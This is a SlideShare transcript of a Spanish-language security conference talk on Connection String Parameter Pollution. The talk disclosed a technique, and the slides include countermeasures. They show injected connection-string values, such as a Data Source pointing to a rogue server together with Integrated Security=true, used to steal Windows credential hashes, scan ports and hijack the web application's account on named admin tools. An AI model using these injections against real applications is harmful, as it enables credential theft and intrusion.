Connection String Parameter Pollution

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    2 Favorites

    Connection String Parameter Pollution - Presentation Transcript

    1. Chema Alonso Informática 64 Chema Alonso Informática 64
    2. Cadenas de Conexión
      • Definen la manera en que una aplicación web se conecta a un repositorio de datos
      • Hay cadenas de conexión para:
        • Bases de datos
        • Archivos en sistemas de ficheros
        • Servidores LDAP en procesos de Binding
    3. Cadenas de conexión a BBDD
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
    4. Se pueden encontrar en Google
    5. Se pueden encontrar en Google
    6. Ficheros UDL
    7. Credenciales
      • Cuentas de Sistema Operativo
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
      • Integrated Security = SSPI/True/Yes;
      • Cuentas de la Base de datos
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • User Id = myUsername;
      • Password = myPassword;
      • Integrated Security = No;
    8. Syslogins Tabla usuarios Cadena de conexión 1.- La aplicación web se conecta con credenciales de la BD. 2.- Se piden credenciales al usuario. 3.- La aplicación web comprueba las credenciales en una tabla de usuarios. Select from tabla La aplicación Web controla la autenticación Motor de Base de datos App en Servidor Web Validación usuarios en aplicación web
    9. Syslogins Cadena de conexión 1.- Se piden credenciales al usuario. 2.- La aplicación web construye la cadena de conexión con las credenciales del usuario. El motor de BBDD controla la autenticación Validación usuarios en motor de BBDD Motor de Base de datos App en Servidor Web
    10. Connection String Attacks
      • Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.
      • Data Source = myServerAddress;
      • Initial Catalog = myDataBase;
      • Integrated Security = NO;
      • User Id = myUsername ;
      • Password = myPassword; Encryption = Off ;
    11. ConnectionStringBuiler
      • Incluido en el .NET Framework 2.0
      • Crea cadenas de conexión mediante parámetros
      • Impide la inyección de código
    12. La realidad
    13. Connection String Parameter Pollution
      • La idea es inyectar un parámetro que ya existe
      • Duplicando el valor del parámetro, el último prevalece en los entornos .NET.
      • Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.
    14. CSPP Attack 1: Robo de Hash
      • 1.- Se monta un servidor controlado:
      • Rogue_Server
      • 2.- Se activa un sniffer de credenciales
      • Cain/Wireshark
      • 3.- Se hace una polución del parámetro
      • Data_Source=Rogue_Server
      • 4.- Se fuerza el uso de autenticación Windows
      • Integrated Security=true
    15. CSPP Attack 1: Robo de Hash
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Rogue_Server ;
      • Password= ;Integrated Security=True ;
    16. CSSP 1:ASP.NET Enterprise Manager
    17. CSPP Attack 2: Port Scanning
      • 1.- Se hace una polución del parámetro con el servidor a escanear y el puerto
      • Data_Source=Target_Server,target_Port
      • 2.- Se evalúan los mensajes de error de la aplicación
    18. CSPP Attack 2: Port Scanning
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Target_Server, Target_Port ;
      • Password= Void ;
    19. CSPP 2: myLittleAdmin Puerto Abierto
    20. CSPP 2: myLittleAdmin Puerto Cerrado
    21. CSPP Attack 3: Hijacking Web Credentials
      • 1.- Se hace una polución del parámetro
      • Data_Source=Target_Server
      • 2.- Se fuerza el uso de autenticación Windows
      • Integrated Security=true
      • 3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos
    22. CSPP Attack 3: Hijacking Web Credentials
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id=+’ User_Value ’+;
      • Password=+’ Password_Value ’+;
      • Data source = SQL2005; initial catalog = db1;
      • Integrated Security=no; user id= ;Data Source=Target_Server ;
      • Password= ;Integrated Security=true ;
    23. CSPP Attack 3: Web Data Administrator
    24. CSPP Attack 3: myLittleAdmin/myLittleBackup
    25. CSPP Attack 3: ASP.NET Enterprise Manager
    26. Otras bases de datos
      • MySQL no soporta autenticación integrada
      • Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques
        • Además es posible cambiar la conexión de nivel para pasarla a conexión como sysdba
    27. Demo Demo
    28. myLittleAdmin/myLittleBackup myLittleTools ha sacado un advisory de seguridad y un parche
    29. ASP.NET Enterprise Manager
      • ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
    30. ASP.NET Enterprise Manager
      • ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente
    31. ASP.NET Web Data Admistrator ASP Web Data Administrator es segura en su versión liberada en CodePlex
    32. Contramedidas
      • Fortificación de Firewall
      • Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.
      • Usar ConnectionStringBuilder
      • Filtrar el ; )
    33. ¿Preguntas?
      • Contacto
      • Chema Alonso
      • [email_address]
      • http://www.informatica64.com
      • http://elladodelmal.blogspot.com
      • Autores
      • Chema Alonso
      • Manuel Fernández
      • Alejandro Martín Bailón
      • Antonio Guzmán

    + chemai64chemai64, 2 months ago

    custom

    2004 views, 2 favs, 6 embeds more stats

    Charla impartida por Chema Alonso en la Ekoparty 20 more

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 2004
      • 1492 on SlideShare
      • 512 from embeds
    • Comments 0
    • Favorites 2
    • Downloads 49
    Most viewed embeds
    • 503 views on http://elladodelmal.blogspot.com
    • 4 views on http://www.elladodelmal.blogspot.com
    • 2 views on file://
    • 1 views on http://localhost:82
    • 1 views on http://1.bp.blogspot.com

    more

    All embeds
    • 503 views on http://elladodelmal.blogspot.com
    • 4 views on http://www.elladodelmal.blogspot.com
    • 2 views on file://
    • 1 views on http://localhost:82
    • 1 views on http://1.bp.blogspot.com
    • 1 views on http://feeds.feedburner.com

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories